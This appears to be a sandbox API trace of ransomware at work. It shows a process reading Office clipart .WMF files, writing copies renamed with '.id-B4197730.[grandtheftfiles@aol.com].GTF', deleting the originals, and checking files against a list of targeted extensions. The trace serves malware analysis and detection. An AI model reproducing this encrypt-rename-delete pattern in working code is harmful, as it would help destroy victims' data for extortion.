	[0087.493] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0087.494] GetLastError () returned 0x0
	[0087.494] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x20e8, lpOverlapped=0x0) returned 1
	[0087.496] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x20f0, lpOverlapped=0x0) returned 1
	[0087.497] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.497] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.498] SetEndOfFile (hFile=0x334) returned 1
	[0087.498] CloseHandle (hObject=0x334) returned 1
	[0087.498] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.498] SetEndOfFile (hFile=0x39c) returned 1
	[0087.499] CloseHandle (hObject=0x39c) returned 1
	[0087.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.499] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00382_.wmf")) returned 1
	[0087.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0087.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0087.499] lstrlenW (lpString=".doc") returned 4
	[0087.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.499] lstrlenW (lpString=".docx") returned 5
	[0087.499] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.499] lstrlenW (lpString=".pdf") returned 4
	[0087.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.499] lstrlenW (lpString=".xls") returned 4
	[0087.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.499] lstrlenW (lpString=".xlsx") returned 5
	[0087.499] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.499] lstrlenW (lpString=".ppt") returned 4
	[0087.499] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0087.500] lstrlenW (lpString=".zip") returned 4
	[0087.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.500] lstrlenW (lpString=".rar") returned 4
	[0087.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.500] lstrlenW (lpString=".bz2") returned 4
	[0087.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.500] lstrlenW (lpString=".7z") returned 3
	[0087.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0087.500] lstrlenW (lpString=".dbf") returned 4
	[0087.500] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0087.500] lstrlenW (lpString=".1cd") returned 4
	[0087.500] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0087.500] lstrlenW (lpString=".jpg") returned 4
	[0087.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0087.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0087.500] lstrlenW (lpString=".doc") returned 4
	[0087.500] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.500] lstrlenW (lpString=".docx") returned 5
	[0087.500] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.500] lstrlenW (lpString=".pdf") returned 4
	[0087.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.500] lstrlenW (lpString=".xls") returned 4
	[0087.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.500] lstrlenW (lpString=".xlsx") returned 5
	[0087.500] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.500] lstrlenW (lpString=".ppt") returned 4
	[0087.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0087.500] lstrlenW (lpString=".zip") returned 4
	[0087.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.500] lstrlenW (lpString=".rar") returned 4
	[0087.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.501] lstrlenW (lpString=".bz2") returned 4
	[0087.501] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.501] lstrlenW (lpString=".7z") returned 3
	[0087.501] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0087.501] lstrlenW (lpString=".dbf") returned 4
	[0087.501] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0087.501] lstrlenW (lpString=".1cd") returned 4
	[0087.501] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00382_.WMF") returned 68
	[0087.501] lstrlenW (lpString=".jpg") returned 4
	[0087.501] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.501] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.501] lstrlenW (lpString="FD00397_.WMF") returned 12
	[0087.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0087.501] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=10816) returned 1
	[0087.501] CloseHandle (hObject=0x39c) returned 1
	[0087.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x220
	[0087.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0087.502] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.502] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0087.502] GetLastError () returned 0x0
	[0087.502] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x2a40, lpOverlapped=0x0) returned 1
	[0087.947] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x2a50, lpOverlapped=0x0) returned 1
	[0087.949] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.949] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.949] SetEndOfFile (hFile=0x334) returned 1
	[0087.949] CloseHandle (hObject=0x334) returned 1
	[0087.949] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.949] SetEndOfFile (hFile=0x39c) returned 1
	[0087.950] CloseHandle (hObject=0x39c) returned 1
	[0087.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 1
	[0087.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.950] lstrlenW (lpString=".doc") returned 4
	[0087.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.950] lstrlenW (lpString=".docx") returned 5
	[0087.951] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.951] lstrlenW (lpString=".pdf") returned 4
	[0087.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.951] lstrlenW (lpString=".xls") returned 4
	[0087.951] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.951] lstrlenW (lpString=".xlsx") returned 5
	[0087.951] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.951] lstrlenW (lpString=".ppt") returned 4
	[0087.951] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.951] lstrlenW (lpString=".zip") returned 4
	[0087.951] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.951] lstrlenW (lpString=".rar") returned 4
	[0087.951] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.951] lstrlenW (lpString=".bz2") returned 4
	[0087.951] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.951] lstrlenW (lpString=".7z") returned 3
	[0087.951] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.951] lstrlenW (lpString=".dbf") returned 4
	[0087.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.951] lstrlenW (lpString=".1cd") returned 4
	[0087.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.951] lstrlenW (lpString=".jpg") returned 4
	[0087.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.951] lstrlenW (lpString=".doc") returned 4
	[0087.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.951] lstrlenW (lpString=".docx") returned 5
	[0087.951] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.951] lstrlenW (lpString=".pdf") returned 4
	[0087.951] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.951] lstrlenW (lpString=".xls") returned 4
	[0087.952] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.952] lstrlenW (lpString=".xlsx") returned 5
	[0087.952] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.952] lstrlenW (lpString=".ppt") returned 4
	[0087.952] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.952] lstrlenW (lpString=".zip") returned 4
	[0087.952] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.952] lstrlenW (lpString=".rar") returned 4
	[0087.952] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.952] lstrlenW (lpString=".bz2") returned 4
	[0087.952] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.952] lstrlenW (lpString=".7z") returned 3
	[0087.952] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.952] lstrlenW (lpString=".dbf") returned 4
	[0087.952] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.952] lstrlenW (lpString=".1cd") returned 4
	[0087.952] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68
	[0087.952] lstrlenW (lpString=".jpg") returned 4
	[0087.952] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.952] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.952] lstrlenW (lpString="FD00814_.WMF") returned 12
	[0087.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0087.953] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=42704) returned 1
	[0087.953] CloseHandle (hObject=0x39c) returned 1
	[0087.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x220
	[0087.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0087.953] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.954] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0087.954] GetLastError () returned 0x0
	[0087.954] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xa6d0, lpOverlapped=0x0) returned 1
	[0087.956] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xa6e0, lpOverlapped=0x0) returned 1
	[0087.958] ReadFile (in: hFile=0x39c, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.958] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.958] SetEndOfFile (hFile=0x334) returned 1
	[0087.958] CloseHandle (hObject=0x334) returned 1
	[0087.958] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.958] SetEndOfFile (hFile=0x39c) returned 1
	[0087.959] CloseHandle (hObject=0x39c) returned 1
	[0087.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0087.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 1
	[0087.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0087.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0087.960] lstrlenW (lpString=".doc") returned 4
	[0087.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.960] lstrlenW (lpString=".docx") returned 5
	[0087.960] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.960] lstrlenW (lpString=".pdf") returned 4
	[0087.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.960] lstrlenW (lpString=".xls") returned 4
	[0087.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.960] lstrlenW (lpString=".xlsx") returned 5
	[0087.960] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.960] lstrlenW (lpString=".ppt") returned 4
	[0087.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0087.960] lstrlenW (lpString=".zip") returned 4
	[0087.960] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.960] lstrlenW (lpString=".rar") returned 4
	[0087.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.960] lstrlenW (lpString=".bz2") returned 4
	[0087.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.960] lstrlenW (lpString=".7z") returned 3
	[0087.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0087.960] lstrlenW (lpString=".dbf") returned 4
	[0087.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0087.960] lstrlenW (lpString=".1cd") returned 4
	[0087.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0087.960] lstrlenW (lpString=".jpg") returned 4
	[0087.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0087.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0087.960] lstrlenW (lpString=".doc") returned 4
	[0087.961] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.961] lstrlenW (lpString=".docx") returned 5
	[0087.961] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.961] lstrlenW (lpString=".pdf") returned 4
	[0087.961] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.961] lstrlenW (lpString=".xls") returned 4
	[0087.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.961] lstrlenW (lpString=".xlsx") returned 5
	[0087.961] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.961] lstrlenW (lpString=".ppt") returned 4
	[0087.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0087.961] lstrlenW (lpString=".zip") returned 4
	[0087.961] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.961] lstrlenW (lpString=".rar") returned 4
	[0087.961] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.961] lstrlenW (lpString=".bz2") returned 4
	[0087.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.961] lstrlenW (lpString=".7z") returned 3
	[0087.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0087.961] lstrlenW (lpString=".dbf") returned 4
	[0087.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0087.961] lstrlenW (lpString=".1cd") returned 4
	[0087.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68
	[0087.961] lstrlenW (lpString=".jpg") returned 4
	[0087.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.961] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0087.961] lstrlenW (lpString="FD00965_.WMF") returned 12
	[0087.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0087.962] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=15164) returned 1
	[0087.962] CloseHandle (hObject=0x39c) returned 1
	[0087.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x220
	[0087.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
